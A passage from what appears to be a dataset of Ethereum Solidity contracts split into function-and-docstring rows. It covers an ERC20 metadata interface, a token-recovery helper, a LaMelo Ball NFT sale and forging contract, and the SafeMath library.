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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
FixedROwnableToken | @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol | 0x32a5bf1df6e98aa9b3705534e8959b29894d3156 | Solidity | IERC20Metadata | interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
} | /**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/ | NatSpecMultiLine | decimals | function decimals() external view returns (uint8);
| /**
* @dev Returns the decimals places of the token.
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | MIT | {
"func_code_index": [
349,
403
]
} | 507 |
|
FixedROwnableToken | contracts/libraries/ERC20Recoverable.sol | 0x32a5bf1df6e98aa9b3705534e8959b29894d3156 | Solidity | ERC20Recoverable | contract ERC20Recoverable is Ownable {
/**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/
function recoverTokens(address tokenAddress, uint256 tokenAmount) public onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
} | /**
* @title TokenRecover
* @dev Allow to recover any ERC20 sent into the contract for error
*/ | NatSpecMultiLine | recoverTokens | function recoverTokens(address tokenAddress, uint256 tokenAmount) public onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
| /**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | MIT | {
"func_code_index": [
278,
433
]
} | 508 |
|
LameloBallNFT | contracts/LameloBallNFT.sol | 0x4d4d7a1ab7f51947210134e7032729f1020d83f3 | Solidity | LameloBallNFT | contract LameloBallNFT is ERC721Enumerable, controllerPanel {
address public lameloContractAddress;
address public ec_contract_address;
IRNG public _iRnd;
uint256 public cardPrice = 0.22 ether;
using Strings for uint256;
mapping(uint16 => uint8) internal tokenData;
uint256 public creator_fee_percentage = 10;
// Time conditions
uint256 public forge_start;
uint256 public forge_end;
uint256 public discount_start;
uint256 public discount_end;
uint256 public sale_start;
uint256 public sale_end;
uint128 public currentIndex = 0;
uint128 public maxForgeMinted = 0;
uint128 public maxForge = 131;
uint128 public maxSold = 0;
uint128 public maxSupply = 3369;
bool public setupTime;
bytes32 internal vrfRequestId;
uint256 public offset;
bool public revealLocked = false;
string public _tokenRevealedBaseURI;
bytes32 public _reqID;
bool public _randomReceived;
string public _tokenPreRevealURI =
"https://ether-cards.mypinata.cloud/ipfs/QmbmnNycwL1MFpJ1njau331pnARLmwcAWaz8gjCHpxZXv6";
uint256[] public shares;
address payable[] wallets;
event forgeWith(
uint16 _Gold_Sun,
uint16 _Silver_Moon,
uint16 _Blue_Neptune,
uint16 _Bronze_Saturn
);
event buyWithDiscount(
address indexed _buyer,
uint8 __amount,
uint256 __ec_token_id,
uint256 __melo_token_id
);
event buyWithoutDiscount(address indexed _buyer, uint8 __amount);
event RandomProcessed(uint256 _offset);
constructor(
address _lameloContractAddress,
address _ec_contract_address,
IRNG _rng
) ERC721("LaMelo Ball Collectibles", "LBC") {
lameloContractAddress = _lameloContractAddress;
ec_contract_address = _ec_contract_address;
_iRnd = _rng;
}
modifier forgeActive() {
require(setupTime, "notInitialised");
require(
block.timestamp >= forge_start && block.timestamp <= forge_end,
"!F"
);
_;
}
modifier forgeEnded() {
require(setupTime, "notInitialised");
require(block.timestamp >= forge_end, "!FE");
_;
}
modifier discountActive() {
require(setupTime, "notInitialised");
require(
block.timestamp >= discount_start &&
block.timestamp <= discount_end,
"!D"
);
_;
}
modifier saleActive() {
require(setupTime, "notInitialised");
require(
block.timestamp > sale_start && block.timestamp < sale_end,
"!S"
);
_;
}
function setTime(
uint256 _discount_start,
uint256 _sale_start,
uint256 _forge_start,
address payable[] memory _wallets,
uint256[] memory _shares
) external onlyAllowed {
discount_start = _discount_start;
discount_end = _discount_start + 3 days;
sale_start = _sale_start;
sale_end = _sale_start + 8 days;
forge_start = _forge_start;
forge_end = _forge_start + 3 days;
require(_wallets.length == _shares.length, "!length");
wallets = _wallets;
shares = _shares;
setupTime = true;
}
function setWallets(
address payable[] memory _wallets,
uint256[] memory _shares
) external onlyAllowed {
require(_wallets.length == _shares.length, "!length");
wallets = _wallets;
shares = _shares;
}
receive() external payable {
splitFee(msg.value);
}
function extendTime(
uint256 _discount_end,
uint256 _sale_end,
uint256 _forge_end
) external onlyAllowed {
discount_end = _discount_end;
sale_end = _sale_end;
forge_end = _forge_end;
}
function setTokenUsed(uint16 _position) internal {
uint16 byteNum = uint16(_position / 8);
uint16 bitPos = uint8(_position - byteNum * 8);
tokenData[byteNum] = uint8(tokenData[byteNum] | (2**bitPos));
}
function isTokenUsed(uint16 _position) public view returns (bool result) {
uint16 byteNum = uint16(_position / 8);
uint16 bitPos = uint8(_position - byteNum * 8);
if (tokenData[byteNum] == 0) return false;
return tokenData[byteNum] & (0x01 * 2**bitPos) != 0;
}
function forge(uint16[] calldata tokenIds) public forgeActive() {
require(tokenIds.length == 4, "tokenId count.");
require(1 <= tokenIds[0] && tokenIds[0] <= 500, "err0"); // Gold Sun
require(501 <= tokenIds[1] && tokenIds[1] <= 1500, "err1"); // Silver Moon
require(1501 <= tokenIds[2] && tokenIds[2] <= 3500, "err2"); // Blue Neptune
require(3501 <= tokenIds[3] && tokenIds[3] <= 10000, "err3"); // Bronze Saturn
// 2 - check ownership
if (IERC721(lameloContractAddress).ownerOf(tokenIds[0]) != msg.sender) {
revert("1st");
}
if (IERC721(lameloContractAddress).ownerOf(tokenIds[1]) != msg.sender) {
revert("2nd");
}
if (IERC721(lameloContractAddress).ownerOf(tokenIds[2]) != msg.sender) {
revert("3rd");
}
if (IERC721(lameloContractAddress).ownerOf(tokenIds[3]) != msg.sender) {
revert("4th");
}
for (uint16 i = 0; i < tokenIds.length; i++) {
uint16 thisId = tokenIds[i];
// 1 - check if token was previously used
require(!isTokenUsed(thisId), "Forged");
// register as used
setTokenUsed(thisId);
}
/*
Do the Give away.
*/
require(availableForge() >= 1, "sold out");
assignCard(msg.sender);
maxForgeMinted++;
emit forgeWith(tokenIds[0], tokenIds[1], tokenIds[2], tokenIds[3]);
}
function indexArray(address _user)
external
view
returns (uint256[] memory)
{
uint256 sum = this.balanceOf(_user);
uint256[] memory indexes = new uint256[](sum);
for (uint256 i = 0; i < sum; i++) {
indexes[i] = this.tokenOfOwnerByIndex(_user, i);
}
return indexes;
}
function adminMint(address _receiver, uint8 loop) public onlyAllowed {
require((currentIndex + loop) <= 3500, "Overmint");
for (uint8 i = 0; i < loop; i++) {
assignCard(_receiver);
}
}
function assignCard(address _receiver) internal {
currentIndex++;
_mint(_receiver, currentIndex);
}
// ENTRY POINT 1/2 TO SALE CONTRACT
function buyCard(uint8 _amount) external payable saleActive {
buyCardInternal(_amount, 0, 0);
emit buyWithoutDiscount(msg.sender, _amount);
}
// ENTRY POINT 2/2 TO SALE CONTRACT
function buyCardWithDiscount(
uint8 _amount,
uint256 _ec_token_id,
uint256 _melo_token_id
) external payable discountActive {
buyCardInternal(_amount, _ec_token_id, _melo_token_id);
emit buyWithDiscount(msg.sender, _amount, _ec_token_id, _melo_token_id);
}
function buyCardInternal(
uint8 _amount,
uint256 _ec_token_id,
uint256 _melo_token_id
) internal {
uint256 _discount = 0;
if (_ec_token_id > 0 && _melo_token_id == 0) {
_discount = getECDiscountPercentage(_ec_token_id);
require(
IERC721(ec_contract_address).ownerOf(_ec_token_id) ==
msg.sender,
"!EC"
);
} else if (_ec_token_id == 0 && _melo_token_id > 0) {
_discount = getMeloDiscountPercentage(_melo_token_id);
require(
IERC721(lameloContractAddress).ownerOf(_melo_token_id) ==
msg.sender,
"!Lamelo"
);
}
uint256 finalPrice = cardPrice - ((cardPrice / (1000)) * (_discount));
uint256 balance = _amount * (finalPrice);
require(msg.value == balance, "Price not met");
require(availableSales() >= _amount, "sold out");
for (uint8 i = 0; i < _amount; i++) {
assignCard(msg.sender);
maxSold++;
}
splitFee(msg.value);
}
function splitFee(uint256 amount) internal {
// duplicated to save an extra call
bool sent;
uint256 _total;
for (uint256 j = 0; j < wallets.length; j++) {
uint256 _amount = (amount * shares[j]) / 1000;
if (j == wallets.length - 1) {
_amount = amount - _total;
} else {
_total += _amount;
}
(sent, ) = wallets[j].call{value: _amount}(""); // don't use send or xfer (gas)
require(sent, "Failed to send Ether");
}
}
function availableSales() public view returns (uint128) {
return (maxSupply - maxSold);
}
function availableForge() public view returns (uint128) {
return (maxForge - maxForgeMinted);
}
function getECDiscountPercentage(uint256 tokenId)
public
pure
returns (uint256)
{
if (tokenId <= 100) {
return 150;
}
if (tokenId <= 1000) {
return 100;
}
if (tokenId <= 10000) {
return 50;
}
return 0;
}
function getMeloDiscountPercentage(uint256 tokenId)
public
pure
returns (uint256)
{
if (tokenId <= 500) {
return 200;
} else if (tokenId <= 1500) {
return 150;
} else if (tokenId <= 3500) {
return 100;
} else if (tokenId <= 10000) {
return 50;
} else {
return 0;
}
}
function setDataFolder(string memory __tokenPreRevealURI, bool _resetReveal)
external
onlyAllowed
{
_tokenPreRevealURI = __tokenPreRevealURI;
if (_resetReveal) {
offset = 0;
_randomReceived = false;
revealLocked = false;
}
}
function uri(uint256 n) public view returns (uint256) {
return ((n + offset) % maxSupply);
}
function process(uint256 random, bytes32 reqID) external {
require(msg.sender == address(_iRnd), "Unauthorised RNG");
if (_reqID == reqID) {
require(!(_randomReceived), "Random No. already received");
offset = random % (maxSupply + 1);
emit RandomProcessed(offset);
_randomReceived = true;
} else revert("Incorrect request ID sent");
}
function reveal() external forgeEnded onlyAllowed {
require(!revealLocked, "locked");
revealLocked = true;
_tokenRevealedBaseURI = 'https://client-metadata.ether.cards/api/lamelo2/';
if (!_randomReceived) _reqID = _iRnd.requestRandomNumberWithCallback();
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
require(_exists(tokenId), "Token does not exist");
string memory revealedBaseURI = _tokenRevealedBaseURI;
if (!_randomReceived) return _tokenPreRevealURI;
uint256 newTokenId = uri(tokenId);
string memory folder = (newTokenId % 100).toString();
string memory file = newTokenId.toString();
string memory slash = "/";
return string(abi.encodePacked(revealedBaseURI, folder, slash, file));
//
}
function how_long_more(uint8 _phase)
public
view
returns (
uint256 Days,
uint256 Hours,
uint256 Minutes,
uint256 Seconds
)
{
uint256 phase;
if (_phase == 1) {
phase = discount_start;
} else if (_phase == 2) {
phase = sale_start;
} else if (_phase == 3) {
phase = forge_start;
} else {
return (0, 0, 0, 0);
}
require(block.timestamp < phase, "Started");
uint256 gap = phase - block.timestamp;
Days = gap / (24 * 60 * 60);
gap = gap % (24 * 60 * 60);
Hours = gap / (60 * 60);
gap = gap % (60 * 60);
Minutes = gap / 60;
Seconds = gap % 60;
return (Days, Hours, Minutes, Seconds);
}
struct theKitchenSink {
uint256 forge_start;
uint256 forge_end;
uint256 discount_start;
uint256 discount_end;
uint256 sale_start;
uint256 sale_end;
uint256 __availableSales;
uint256 __availableForge;
}
function tellEverything() external view returns (theKitchenSink memory) {
return
theKitchenSink(
forge_start,
forge_end,
discount_start,
discount_end,
sale_start,
sale_end,
availableSales(),
availableForge()
);
}
} | buyCard | function buyCard(uint8 _amount) external payable saleActive {
buyCardInternal(_amount, 0, 0);
emit buyWithoutDiscount(msg.sender, _amount);
}
| // ENTRY POINT 1/2 TO SALE CONTRACT | LineComment | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
6645,
6810
]
} | 509 |
||||
LameloBallNFT | contracts/LameloBallNFT.sol | 0x4d4d7a1ab7f51947210134e7032729f1020d83f3 | Solidity | LameloBallNFT | contract LameloBallNFT is ERC721Enumerable, controllerPanel {
address public lameloContractAddress;
address public ec_contract_address;
IRNG public _iRnd;
uint256 public cardPrice = 0.22 ether;
using Strings for uint256;
mapping(uint16 => uint8) internal tokenData;
uint256 public creator_fee_percentage = 10;
// Time conditions
uint256 public forge_start;
uint256 public forge_end;
uint256 public discount_start;
uint256 public discount_end;
uint256 public sale_start;
uint256 public sale_end;
uint128 public currentIndex = 0;
uint128 public maxForgeMinted = 0;
uint128 public maxForge = 131;
uint128 public maxSold = 0;
uint128 public maxSupply = 3369;
bool public setupTime;
bytes32 internal vrfRequestId;
uint256 public offset;
bool public revealLocked = false;
string public _tokenRevealedBaseURI;
bytes32 public _reqID;
bool public _randomReceived;
string public _tokenPreRevealURI =
"https://ether-cards.mypinata.cloud/ipfs/QmbmnNycwL1MFpJ1njau331pnARLmwcAWaz8gjCHpxZXv6";
uint256[] public shares;
address payable[] wallets;
event forgeWith(
uint16 _Gold_Sun,
uint16 _Silver_Moon,
uint16 _Blue_Neptune,
uint16 _Bronze_Saturn
);
event buyWithDiscount(
address indexed _buyer,
uint8 __amount,
uint256 __ec_token_id,
uint256 __melo_token_id
);
event buyWithoutDiscount(address indexed _buyer, uint8 __amount);
event RandomProcessed(uint256 _offset);
constructor(
address _lameloContractAddress,
address _ec_contract_address,
IRNG _rng
) ERC721("LaMelo Ball Collectibles", "LBC") {
lameloContractAddress = _lameloContractAddress;
ec_contract_address = _ec_contract_address;
_iRnd = _rng;
}
modifier forgeActive() {
require(setupTime, "notInitialised");
require(
block.timestamp >= forge_start && block.timestamp <= forge_end,
"!F"
);
_;
}
modifier forgeEnded() {
require(setupTime, "notInitialised");
require(block.timestamp >= forge_end, "!FE");
_;
}
modifier discountActive() {
require(setupTime, "notInitialised");
require(
block.timestamp >= discount_start &&
block.timestamp <= discount_end,
"!D"
);
_;
}
modifier saleActive() {
require(setupTime, "notInitialised");
require(
block.timestamp > sale_start && block.timestamp < sale_end,
"!S"
);
_;
}
function setTime(
uint256 _discount_start,
uint256 _sale_start,
uint256 _forge_start,
address payable[] memory _wallets,
uint256[] memory _shares
) external onlyAllowed {
discount_start = _discount_start;
discount_end = _discount_start + 3 days;
sale_start = _sale_start;
sale_end = _sale_start + 8 days;
forge_start = _forge_start;
forge_end = _forge_start + 3 days;
require(_wallets.length == _shares.length, "!length");
wallets = _wallets;
shares = _shares;
setupTime = true;
}
function setWallets(
address payable[] memory _wallets,
uint256[] memory _shares
) external onlyAllowed {
require(_wallets.length == _shares.length, "!length");
wallets = _wallets;
shares = _shares;
}
receive() external payable {
splitFee(msg.value);
}
function extendTime(
uint256 _discount_end,
uint256 _sale_end,
uint256 _forge_end
) external onlyAllowed {
discount_end = _discount_end;
sale_end = _sale_end;
forge_end = _forge_end;
}
function setTokenUsed(uint16 _position) internal {
uint16 byteNum = uint16(_position / 8);
uint16 bitPos = uint8(_position - byteNum * 8);
tokenData[byteNum] = uint8(tokenData[byteNum] | (2**bitPos));
}
function isTokenUsed(uint16 _position) public view returns (bool result) {
uint16 byteNum = uint16(_position / 8);
uint16 bitPos = uint8(_position - byteNum * 8);
if (tokenData[byteNum] == 0) return false;
return tokenData[byteNum] & (0x01 * 2**bitPos) != 0;
}
function forge(uint16[] calldata tokenIds) public forgeActive() {
require(tokenIds.length == 4, "tokenId count.");
require(1 <= tokenIds[0] && tokenIds[0] <= 500, "err0"); // Gold Sun
require(501 <= tokenIds[1] && tokenIds[1] <= 1500, "err1"); // Silver Moon
require(1501 <= tokenIds[2] && tokenIds[2] <= 3500, "err2"); // Blue Neptune
require(3501 <= tokenIds[3] && tokenIds[3] <= 10000, "err3"); // Bronze Saturn
// 2 - check ownership
if (IERC721(lameloContractAddress).ownerOf(tokenIds[0]) != msg.sender) {
revert("1st");
}
if (IERC721(lameloContractAddress).ownerOf(tokenIds[1]) != msg.sender) {
revert("2nd");
}
if (IERC721(lameloContractAddress).ownerOf(tokenIds[2]) != msg.sender) {
revert("3rd");
}
if (IERC721(lameloContractAddress).ownerOf(tokenIds[3]) != msg.sender) {
revert("4th");
}
for (uint16 i = 0; i < tokenIds.length; i++) {
uint16 thisId = tokenIds[i];
// 1 - check if token was previously used
require(!isTokenUsed(thisId), "Forged");
// register as used
setTokenUsed(thisId);
}
/*
Do the Give away.
*/
require(availableForge() >= 1, "sold out");
assignCard(msg.sender);
maxForgeMinted++;
emit forgeWith(tokenIds[0], tokenIds[1], tokenIds[2], tokenIds[3]);
}
function indexArray(address _user)
external
view
returns (uint256[] memory)
{
uint256 sum = this.balanceOf(_user);
uint256[] memory indexes = new uint256[](sum);
for (uint256 i = 0; i < sum; i++) {
indexes[i] = this.tokenOfOwnerByIndex(_user, i);
}
return indexes;
}
function adminMint(address _receiver, uint8 loop) public onlyAllowed {
require((currentIndex + loop) <= 3500, "Overmint");
for (uint8 i = 0; i < loop; i++) {
assignCard(_receiver);
}
}
function assignCard(address _receiver) internal {
currentIndex++;
_mint(_receiver, currentIndex);
}
// ENTRY POINT 1/2 TO SALE CONTRACT
function buyCard(uint8 _amount) external payable saleActive {
buyCardInternal(_amount, 0, 0);
emit buyWithoutDiscount(msg.sender, _amount);
}
// ENTRY POINT 2/2 TO SALE CONTRACT
function buyCardWithDiscount(
uint8 _amount,
uint256 _ec_token_id,
uint256 _melo_token_id
) external payable discountActive {
buyCardInternal(_amount, _ec_token_id, _melo_token_id);
emit buyWithDiscount(msg.sender, _amount, _ec_token_id, _melo_token_id);
}
function buyCardInternal(
uint8 _amount,
uint256 _ec_token_id,
uint256 _melo_token_id
) internal {
uint256 _discount = 0;
if (_ec_token_id > 0 && _melo_token_id == 0) {
_discount = getECDiscountPercentage(_ec_token_id);
require(
IERC721(ec_contract_address).ownerOf(_ec_token_id) ==
msg.sender,
"!EC"
);
} else if (_ec_token_id == 0 && _melo_token_id > 0) {
_discount = getMeloDiscountPercentage(_melo_token_id);
require(
IERC721(lameloContractAddress).ownerOf(_melo_token_id) ==
msg.sender,
"!Lamelo"
);
}
uint256 finalPrice = cardPrice - ((cardPrice / (1000)) * (_discount));
uint256 balance = _amount * (finalPrice);
require(msg.value == balance, "Price not met");
require(availableSales() >= _amount, "sold out");
for (uint8 i = 0; i < _amount; i++) {
assignCard(msg.sender);
maxSold++;
}
splitFee(msg.value);
}
function splitFee(uint256 amount) internal {
// duplicated to save an extra call
bool sent;
uint256 _total;
for (uint256 j = 0; j < wallets.length; j++) {
uint256 _amount = (amount * shares[j]) / 1000;
if (j == wallets.length - 1) {
_amount = amount - _total;
} else {
_total += _amount;
}
(sent, ) = wallets[j].call{value: _amount}(""); // don't use send or xfer (gas)
require(sent, "Failed to send Ether");
}
}
function availableSales() public view returns (uint128) {
return (maxSupply - maxSold);
}
function availableForge() public view returns (uint128) {
return (maxForge - maxForgeMinted);
}
function getECDiscountPercentage(uint256 tokenId)
public
pure
returns (uint256)
{
if (tokenId <= 100) {
return 150;
}
if (tokenId <= 1000) {
return 100;
}
if (tokenId <= 10000) {
return 50;
}
return 0;
}
function getMeloDiscountPercentage(uint256 tokenId)
public
pure
returns (uint256)
{
if (tokenId <= 500) {
return 200;
} else if (tokenId <= 1500) {
return 150;
} else if (tokenId <= 3500) {
return 100;
} else if (tokenId <= 10000) {
return 50;
} else {
return 0;
}
}
function setDataFolder(string memory __tokenPreRevealURI, bool _resetReveal)
external
onlyAllowed
{
_tokenPreRevealURI = __tokenPreRevealURI;
if (_resetReveal) {
offset = 0;
_randomReceived = false;
revealLocked = false;
}
}
function uri(uint256 n) public view returns (uint256) {
return ((n + offset) % maxSupply);
}
function process(uint256 random, bytes32 reqID) external {
require(msg.sender == address(_iRnd), "Unauthorised RNG");
if (_reqID == reqID) {
require(!(_randomReceived), "Random No. already received");
offset = random % (maxSupply + 1);
emit RandomProcessed(offset);
_randomReceived = true;
} else revert("Incorrect request ID sent");
}
function reveal() external forgeEnded onlyAllowed {
require(!revealLocked, "locked");
revealLocked = true;
_tokenRevealedBaseURI = 'https://client-metadata.ether.cards/api/lamelo2/';
if (!_randomReceived) _reqID = _iRnd.requestRandomNumberWithCallback();
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
require(_exists(tokenId), "Token does not exist");
string memory revealedBaseURI = _tokenRevealedBaseURI;
if (!_randomReceived) return _tokenPreRevealURI;
uint256 newTokenId = uri(tokenId);
string memory folder = (newTokenId % 100).toString();
string memory file = newTokenId.toString();
string memory slash = "/";
return string(abi.encodePacked(revealedBaseURI, folder, slash, file));
//
}
function how_long_more(uint8 _phase)
public
view
returns (
uint256 Days,
uint256 Hours,
uint256 Minutes,
uint256 Seconds
)
{
uint256 phase;
if (_phase == 1) {
phase = discount_start;
} else if (_phase == 2) {
phase = sale_start;
} else if (_phase == 3) {
phase = forge_start;
} else {
return (0, 0, 0, 0);
}
require(block.timestamp < phase, "Started");
uint256 gap = phase - block.timestamp;
Days = gap / (24 * 60 * 60);
gap = gap % (24 * 60 * 60);
Hours = gap / (60 * 60);
gap = gap % (60 * 60);
Minutes = gap / 60;
Seconds = gap % 60;
return (Days, Hours, Minutes, Seconds);
}
struct theKitchenSink {
uint256 forge_start;
uint256 forge_end;
uint256 discount_start;
uint256 discount_end;
uint256 sale_start;
uint256 sale_end;
uint256 __availableSales;
uint256 __availableForge;
}
function tellEverything() external view returns (theKitchenSink memory) {
return
theKitchenSink(
forge_start,
forge_end,
discount_start,
discount_end,
sale_start,
sale_end,
availableSales(),
availableForge()
);
}
} | buyCardWithDiscount | function buyCardWithDiscount(
uint8 _amount,
uint256 _ec_token_id,
uint256 _melo_token_id
) external payable discountActive {
buyCardInternal(_amount, _ec_token_id, _melo_token_id);
emit buyWithDiscount(msg.sender, _amount, _ec_token_id, _melo_token_id);
}
| // ENTRY POINT 2/2 TO SALE CONTRACT | LineComment | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
6852,
7160
]
} | 510 |
||||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
259,
445
]
} | 511 |
||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
723,
864
]
} | 512 |
||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
